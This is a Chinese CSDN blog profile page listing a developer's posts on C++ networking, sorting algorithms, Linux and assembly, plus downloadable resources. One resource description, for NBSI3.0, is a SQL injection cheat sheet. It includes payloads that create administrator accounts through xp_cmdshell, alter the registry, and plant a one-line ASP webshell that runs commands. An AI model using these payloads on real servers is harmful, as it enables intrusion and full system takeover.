自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(44)
  • 资源 (9)
  • 收藏
  • 关注

原创 Linux C++ 字符编码转换 GBK与UTF8互转

使用 iconv 系列函数在linux下进行字符编码转换

2024-02-21 11:13:45 523

原创 TCP 的11种状态图 —— TCP状态图

2023-09-01 17:14:10 75

原创 MySql 测试并发

MySql 官方提供了工具 mysqlslap可以在MySql的安装目录下找到mysqlslap -hlocalhost -uusername -ppassword -P3306 --concurrency=100 --iterations=1 --auto-generate-sql --auto-generate-sql-load-type=mixed --auto-generate-sql-add-autoincrement --engine=innodb --number-of-queries=

2021-05-20 16:00:17 151

原创 排序算法之——归并排序 C语言实现

一 、归并排序的思路:归并排序采用的是分治的思想,就是将数组进行分隔,直到最小的单位(两个元素),然后对最小的单位进行排序。最后将排好序的单位依次遍历到数组中。1 将数组进行分隔,直到不能再分的最小单位(两个元素)。2 将最小单位排序3 将最小单位遍历到数组中二、代码#include <stdio.h>void merge_part(int arr[], int l, int m, int r){ // 此处应该用 malloc int tmp[256] = { 0 }

2020-12-20 19:11:58 1303

原创 排序算法之——快速排序 C语言实现

快速排序的思路:1 从源数组里面选择一个数 v 作为对比2 i 从左边开始遍历,直到找到一个比 v 大的数3 j 从右边开始遍历,直到找到一个比 v 小的数,或者遍历到最左边跳出循环4 交换两个位置 i 和 j 的数,回到步骤25 交换 位置 i 和 v 的数代码:#include <stdio.h>void swap(int * a, int *b){ int tmp = *a; *a = *b; *b = tmp;}int partition(int a[],

2020-11-06 09:24:42 337

转载 socket编程之openssl入门

转载自:文章链接 1、什么是ssl Secure Sockets Layer 它是支持在Internet 上进行安全通信的标准, 并且将数据密码技术集成到了协议之中。 数据在离开计算机之前就已经被加密, 只有到达它预定的目标后才被解密。 证书和密码学算法支持了这一切的运转,使用OpenSSL来切身体会它们。 理论上,如果加密的数据在到达目标之前被截取或窃听,那些数据是不可能被破解的。 不过,由于计算机的变化一年比一年快,而且密码翻译方法有了新的发展,因此

2020-10-28 17:28:15 185

转载 NAT穿透原理(转载)

原文链接: https://www.jianshu.com/p/f060eeac337b一、背景知识介绍1.什么是NATNAT 是 Network Address Translation 的缩写,即网络地址转换。主要是将内部的私有IP地址转换成公网IP2.诞生的原因所谓地址就是来标识每一台设备的,因此每一个设备就应该有一个唯一的不重复的地址。本来互联网就是这么设计的,每一台设备都有一个固...

2020-03-11 15:26:28 605

原创 基于EventLoop的tcp服务端 C++实现(四) ——完整的流程

学习github上的项目 flamingo 自己的笔记。flamingo原作者的csdn是: analogous_loveflamingo是多线程的,但是本人能力有限,只是单线程的还算能理解一点。自己参照flamingo实现的基于epoll的单线程服务端,git地址:https://gitee.com/storm_zy/StServerFrame实现了简单的echo功能,很多代码直接拷...

2019-10-14 17:08:09 664

原创 基于EventLoop的tcp服务端 C++实现(三) ——tcp连接(TcpConnection)和业务层会话(MySession)

学习github上的项目 flamingo 自己的笔记。flamingo原作者的csdn是: analogous_loveflamingo是多线程的,但是本人能力有限,只是单线程的还算能理解一点。自己参照flamingo实现的基于epoll的单线程服务端,git地址:https://gitee.com/storm_zy/StServerFrame实现了简单的echo功能,很多代码直接拷...

2019-10-11 12:01:16 479

原创 基于EventLoop的tcp服务端 C++实现(二) ——服务端TcpServer的模块设计描述

学习github上的项目 flamingo 自己的笔记。flamingo原作者的csdn是: analogous_love一、如何设计TcpServer——功能上来说一个TcpServer需要至少一个监听的端口(Listener)。需要提供新连接到来时的处理方法,即将连接加入到自己的列表中进行维护等等。需要维护自己的连接列表 TcpConnections。需要处理过时失效的连接 ...

2019-10-09 11:41:14 754

转载 x86汇编指令集大全(带注释)

版权声明:本文为CSDN博主「17岁boy想当攻城狮」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。原文链接:https://blog.csdn.net/bjbz_cxy/article/details/79467688欢迎关注 [懒人漫说] 公众号,分享Java、Android、C/C++ 技术,包括基础、自己遇到的问题解决过程。当然如果关注并......

2019-10-08 11:46:04 5362

原创 基于EventLoop的tcp服务端 C++实现(一) —— 网络事件模块结构描述

一、自己当时的想法自己当时在想如何设计一个通用的Tcp服务端,就是将各个部分模块化,然后只需更改其中的少部分模块(例如业务session)即可完成完整的服务端。然后就从网上找啊找,最后找到了一个大牛写的一个即时通信类软件flamingo,从github上一搜就能搜到,然后开始研究其服务端架构。然后终于感觉对框架稍微懂了一点点,所以就赶紧记录下来。二、思考服务端框架的过程...

2019-09-27 13:06:20 2176

原创 Linux 经常使用的命令笔记

1、远程拷贝/上传 文件lrzsz 程序apt install lrzsz[root]: sz filename // 选择本地文件夹进行保存[root]: rz // 弹出对话框并选择文件上传2、查找文件的时候 去掉没有权限的多余无效输出find 路径 -name filename 2>/dev/null3、服务相关systemctl enable *.servi...

2019-09-26 11:13:10 154

原创 windows 下使用 git GUI

一、下载去 [git官网](https://git-scm.com/download/win) 下载git,并安装。二、在 Github 或者 Gitee创建仓库在github 或者 gitee创建仓库,然后拷贝 ssh连接。![在这里插入图片描述](https://img-blog.csdnimg.cn/20190924185136725.png?x-oss-process=image/...

2019-09-24 19:27:02 823 15

原创 GDB 常用命令

gdb启动调试程序gdb filenamegdb attach pid(running process)gdb filename coredumpctrl + c #终端程序run® #启动或重启程序backtrace #查看当前线程的调用堆栈frame(f) 堆栈编号 #切换到指定调用堆栈list(l) #查看当前堆栈的代码行的前后几行(具体多少行可以...

2019-09-24 10:56:37 224

原创 Linux下C++程序崩溃不产生core文件

通过运行下面的bash脚本,即可在C++程序崩溃时产生core文件。#!/usr/bin/bashlimitsFile=/etc/security/limits.confif [ "unlimited" != "`egrep "^*.*soft.*core.*" $limitsFile | awk -F' ' '{print $4}'`" ]; then echo "set core...

2018-11-16 14:45:59 2512

原创 Ubuntu允许root远程登录

0x00 安装sshapt-get install ssh0x01 设置允许root远程登录vi /etc/ssh/sshd_config 找到 PermitRootLogin prohibit-password 然后用#注释掉这一句 加上 PermitRootLogin yes0x03 重启ssh服务/etc/init.d/ssh restart0x04 设置root密码sudo ...

2018-09-20 11:04:02 1527

原创 C++ vector 结构体 根据某元素匹配 find_if 排序 sort

0x00 使用场景 结构体的vector,有时候需要查找容器中符合某个结构体成员条件的情况。0x01 查找匹配成员 举例struct STest{ int m_id; char name[16]; STest(int id, char *lName) { m_id = id; if (strlen(lName) ...

2018-08-14 14:06:03 1791

转载 Linux下查看结构体

从百度知道搜到的方法。1 cd /usr/include2 ctags -R3 vim -t 标识符名称*注: 笔记之用, 如有不妥, 还望指正。----------------------------------------------------------------------------------------------欢迎关注 [懒人漫说] 公众号,分...

2018-06-05 15:41:12 1752

原创 win10睡眠风扇仍然转动解决办法。

1 win + R 输入 regedit 打开注册表。2 找到 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Power3 修改 AwayModeEnabled 的值为 0 即可。* 注: 如有不妥,还望指正。---------------------------------------...

2018-05-30 22:30:16 27892 11

原创 Linux下查找某路径下包含某字符串的文件

以查找 INADDR_ANY 宏为例:[...]# grep -R "INADDR_ANY" /usr/include//usr/include/netinet/in.h:#define INADDR_ANY ((in_addr_t) 0x00000000)也可以:[...]# cd /usr/include/[...]#grep -R "INADDR_ANY"...

2018-02-26 17:25:08 1199

原创 C++智能指针 shared_ptr 与 weak_ptr 原理

注:源代码摘自 GNU C++,除此之外为原创,转载请注明出处。// Copyright (C) 2007-2016 Free Software Foundation, Inc.//// This file is part of the GNU ISO C++ Library. 一、weak_ptr 的 lock() 函数原理/* 当每次有新的 shared_ptr 生成时,会增加 _Sp_

2017-12-12 15:46:56 3968

转载 系统调用原理

系统调用 目 录 系统调用 系统调用简述 宏 系统调用表 系统调用入口函数 系统调用实现过程 函数名约定 系统调用号 系统调用表 从ptrace系统调用命令到INT 0X80中断请求的转换 系统调用功能模块的初始化 内核服务 代码分析:mlock() 主要数据结构 重要常量 代码函数功能分析 添加新调用 例子一 例子二 系统调用 在系......

2017-09-28 12:36:50 695

转载 订阅Linux内核邮件列表

订阅Linux内核邮件列表 参考自:http://www.wowotech.net/linux_application/lkml.htmlLinux kernel mailing list

2017-08-02 23:16:26 861

转载 x86 汇编 寄存器

原文链接 :http://blog.csdn.net/u011822516/article/details/19931253---------------------------------------------------------------------------------------------------------------------欢迎关注 [懒人漫说] 公众号,分...

2017-03-27 14:00:49 649 1

转载 BeautifulSoup 用法 标签属性值不确定时用法

BeautifulSoup中 对于未知属性值的标签的过滤以及一些使用方便的方法

2017-03-21 14:22:50 8145

转载 Linux镜像源 国内列表

一、站点版(一)、企业站1.搜狐:http://mirrors.sohu.com/2.网易:http://mirrors.163.com/3.阿里云:http://mirrors.aliyun.com/4.腾讯:http://android-mirror.bugly.qq.com:8080/(仅针对APP开发的软件,限流,不推荐)(二)、教育站1.上海交通大学:http://ftp.sj

2017-03-07 19:28:41 15513

转载 VC6 Add Files to Folder 崩溃问题解决办法

原文地址:http://www.mamicode.com/info-detail-517499.html下载VC++6.0补丁Vs6sp6,英文版地址:http://download.microsoft.com/download/1/9/f/19fe4660-5792-4683-99e0-8d48c22eed74/Vs6sp6.exe双击exe后 选择一个目录进行...

2017-01-17 10:31:51 1964

转载 C++头文件的工作原理

---------------------------------------------------------------------------------------------------------------------欢迎关注 [懒人漫说] 公众号,分享Java、Android、C/C++ 技术,包括基础、自己遇到的问题解决过程。当然如果关注并留言问题的话,我们...

2017-01-07 13:59:45 689

转载 gcc编译器搜索头文件路径

原文链接 ---------------------------------------------------------------------------------------------------------------------欢迎关注 [懒人漫说] 公众号,分享Java、Android、C/C++ 技术,包括基础、自己遇到的问题解决过程。...

2017-01-05 22:12:26 7664

转载 CentOS安装ubuntu字体, Linux终端修改字体

原文链接 #cd /usr/share/fonts/ #wget font.ubuntu.com/download/ubuntu-font-family-0.80.zip(下载Ubuntu字体) #unzip ubuntu-font-family-0.80.zip(如果没有unzip命令,则先执行命令yum install unzip) #cd ubuntu-

2017-01-05 21:56:08 3497 3

转载 C++源码流程图分析[转载]

**原文链接: http://blog.csdn.net/u010740725/article/details/51387810**   最近在做与OpenCV有关的项目,需要参考OpenCV源码的实现。起初在VS中手动查看OpenCV源码,发现简单的函数能够很快整理出该函数的层次调用关系,但是遇到一些复杂的函数时,一层一层的往下查看一会儿脑袋就大了。并且,在查看源码的过程中,发现很

2016-12-05 14:17:20 7605

原创 DOS命令diskpart格式化磁盘 (附 制作U盘启动系统盘)

1 win + r -> cmd 进入dos2 输入 diskpart3 list disk 查看都有哪些磁盘4 select disk 1(选择要格式化的磁盘前面的编号, 一定要选对 否则操作错了无法挽回!!!)5 clean(确定磁盘中的东西都没用了,这一步是直接把分区都给删了)6 creat partition primary (创建分区)...

2016-10-27 17:14:17 56476 2

原创 ip校验和 及 udp校验和 的计算方法

一、ip校验和的计算: 计算方法: 1. ip包头(共20个字节)按照每16个bit作为一个值依次进行相加 2. 将计算结果的进位加到低16位上 3. 将结果取反 ip包头的内存内容 eg: 45 00 00 20 0F B8 00 00 80 11 00 00 C0 A8 0A 9F C0 A8 0A C7将.........

2016-10-20 13:05:05 25695 5

原创 vc6 使用winpcap时的环境配置

---------------------------------------------------------------------------------------------------------------------欢迎关注 [懒人漫说] 公众号,分享Java、Android、C/C++ 技术,包括基础、自己遇到的问题解决过程。当然如果关注并留言问题的话,我们...

2016-10-17 15:25:24 1495 2

原创 汇编学习笔记(三) -- 显示时间

记: 还是从编程论坛看的帖子http://bbs.bccn.net/thread-465605-1-1.html 拿来做了练习 看的时候觉得看懂了 可实际写的时候才知道 纸上得来终觉浅data segment time_str db '00:00:00', '$' ; 显示时间的字符串data endscode segment assume cs:code, d

2016-09-29 10:49:22 518 1

原创 汇编学习笔记(二) -- 输出256个ASCII字符

记:从编程论坛http://bbs.bccn.net/thread-465749-1-1.html 看到的小题目 然后拿来联系code segment assume cs:code start: xor dl, dl ; ASCII值 mov cx, 256 ; 循环256次 next:

2016-09-28 17:10:49 2529 1

原创 dos下debug的使用

起因: 最近学习汇编 需要对程序进行调试 故作此笔记用法: 一、用debug把程序运行起来: 1. 在dos下进入自己的程序所在目录xxx 2. xxx>debug proc.exe 把程序执行起来 二、 常用命令 1. -u – 查看当前的汇编代码( 00FF:0000 0055) 后面可以跟参数 查看某段代码 2. -t – 单步执行

2016-09-27 15:38:25 4720

原创 汇编学习笔记(一) -- Hello World!

汇编学习笔记(一): Hello World!记: 1. 刚刚开始学习汇编,作下笔记,怕日后忘记 2. int 21h等为dos功能调用 功能号的作用可百度int 21h 3. 功能号是放在ah中的,返回的值等 请百度data segment ; 定义数据段 string db 'Hello World!','$' ; db(define b

2016-09-27 15:21:37 478 1

转载 Source Insight 3.x serial 序列号

Source Insight 3.x 序列号

2016-09-13 14:45:28 17520 1

cmake-3.7.0-win64-x64.rar

从cmake官网下载太慢 所以在这里保存一份,用来编译C/C++的代码。生成vs项目文件相关的功能。 一般用法: mkdir build cd build cmake "Visual Studio 15" .. x64的话: cmake "Visual Studio 15 Win64" ..

2020-04-01

cmake-3.7.1.rar

别下载了 源码 没啥用 从cmake官网下载太慢 所以在这里保存一份,用来编译C/C++的代码。生成vs项目文件相关的功能。 一般用法: mkdir build cd build cmake "Visual Studio 15" .. x64的话: cmake "Visual Studio 15 Win64" ..

2020-04-01

weak-ptr 和 shared-ptr 源码

关于C++智能指针 weak_ptr (弱引用 智能指针) 和 shared_ptr (强引用 智能指针)的源文件。 资源分不能设为0了。。

2017-12-12

HM Nis Edit 打包软件

HM Nis Edit 打包软件

2017-05-11

MFC视频播放器

很好的MFC播放器,帮助新手学习。希望对播放器制作感兴趣的同学有帮助

2016-03-07

NBSI3.0.rar

测工具的名称,ASP注入漏洞检测工具,特别在SQL Server注入检测方面有极高的准确率。 1.判断是否有注入 ;and 1=1 ;and 1=2 2.初步判断是否是mssql ;and user>0 3.判断数据库系统 ;and (select count(*) from sysobjects)>0 mssql ;and (select count(*) from msysobjects)>0 access 4.注入参数是字符 'and [查询条件] and ''=' 5.搜索时没过滤参数的 'and [查询条件] and '%25'=' 6.猜数据库 ;and (Select Count(*) from [数据库名])>0 7.猜字段 ;and (Select Count(字段名) from 数据库名)>0 8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 9.(1)猜字段的ascii值(access) ;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 (2)猜字段的ascii值(mssql) ;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 10.测试权限结构(mssql) ;and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- ;and 1=(SELECT IS_SRVROLEMEMBER('serveradmin'));-- ;and 1=(SELECT IS_SRVROLEMEMBER('setupadmin'));-- ;and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));-- ;and 1=(SELECT IS_SRVROLEMEMBER('diskadmin'));-- ;and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));-- ;and 1=(SELECT IS_MEMBER('db_owner'));-- 11.添加mssql和系统的帐户 ;exec master.dbo.sp_addlogin username;-- ;exec master.dbo.sp_password null, username,password;-- ;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add' ;-- ;exec master.dbo.xp_cmdshell 'net user username password /add';-- ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 12.(1)遍历目录 ;create table dirs(paths varchar(100), id int) ;insert dirs exec master.dbo.xp_dirtree 'c:\' ;and (select top 1 paths from dirs)>0 ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) (2)遍历目录 ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 13.mssql中的存储过程 xp_regenumvalues 注册表根键, 子键 ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 xp_regread 根键,子键,键值名 ;exec xp_regread 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'CommonFilesDir' 返回制定键的值 xp_regwrite 根键,子键, 值名, 值类型, 值 值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ;exec xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestValueName','reg_sz','hello' 写入注册表 xp_regdeletevalue 根键,子键,值名 exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestValueName' 删除某个值 xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 14.mssql的backup创建webshell use model create table cmd(str image); insert into cmd(str) values ('<% Dim oScript %>'); backup database model to disk='c:\l.asp'; 15.mssql内置函数 ;and (select @@version)>0 获得Windows的版本号 ;and user_name()='dbo' 判断当前系统的连接用户是不是sa ;and (select user_name())>0 爆当前系统的连接用户 ;and (select db_name())>0 得到当前连接的数据库 16.简洁的webshell use model create table cmd(str image); insert into cmd(str) values ('<%=server.createobject("wscript.shell").exec("cmd.exe /c "&request("c")).stdout.readall%>'); backup database model to disk='g:\wwwtest\l.asp'; 请求的时候,像这样子用: http://ip/l.asp?c=dir

2016-03-05

Legion.rar lalalala

可以搜索网络中的共享资源 使用方法:在ip地址里面输入ip范围,如:202.103.100.1到202.103.100.254,开始搜索 如果你搜索的ip范围包括了有共享文件夹的机器,那么这台机器就会出现在列表中

2016-03-05

ipscan.rar 呀

可以扫描指定IP段内的主机 可显示为活动主机和非活动主机

2016-03-05

获取网速 GetIfTable SetupDixxx 区分物理网卡

自己实现的区分物理网卡并获取其网速的程序 没有实现hook其他进程 获得网速的功能

2015-12-31

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除